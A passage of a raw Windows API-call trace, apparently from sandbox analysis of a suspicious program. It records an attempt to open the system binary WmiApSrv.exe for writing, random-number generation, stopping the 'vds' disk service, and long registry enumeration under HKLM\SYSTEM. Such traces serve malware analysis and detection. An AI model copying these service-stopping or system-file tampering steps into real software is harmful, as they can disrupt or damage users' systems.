Flags=0x0, BaseAddress=0x252e950) returned 1 [0250.816] RegCloseKey (hKey=0x14c) returned 0x0 [0250.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0250.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0250.818] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b7192e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x51b7192e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0250.818] CreateFileW (lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0250.818] GetLastError () returned 0x20 [0250.819] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0250.820] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0250.820] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0250.820] OpenServiceW (hSCManager=0x803918, lpServiceName="vds", dwDesiredAccess=0x20) returned 0x803990 [0250.829] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0250.853] CloseServiceHandle (hSCObject=0x803990) returned 1 [0250.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0250.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0250.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0250.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0250.854] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0250.854] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0250.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0250.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.854] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0250.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0250.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.854] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0250.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0250.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.855] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0250.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0250.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.855] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0250.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0250.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.855] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0250.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0250.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.855] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0250.856] RegCloseKey (hKey=0x80000002) returned 0x0 [0250.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0250.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0250.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0250.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1da8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0250.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0250.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0250.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1cd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0250.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0250.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0250.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0250.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0250.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0250.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0250.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0250.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0250.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.858] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0250.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0250.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.858] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0250.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0250.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.858] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0250.858] RegCloseKey (hKey=0xc4) returned 0x0 [0250.858] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0250.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0250.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.858] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0250.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0250.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.859] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0250.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1da8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0250.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.859] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0250.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 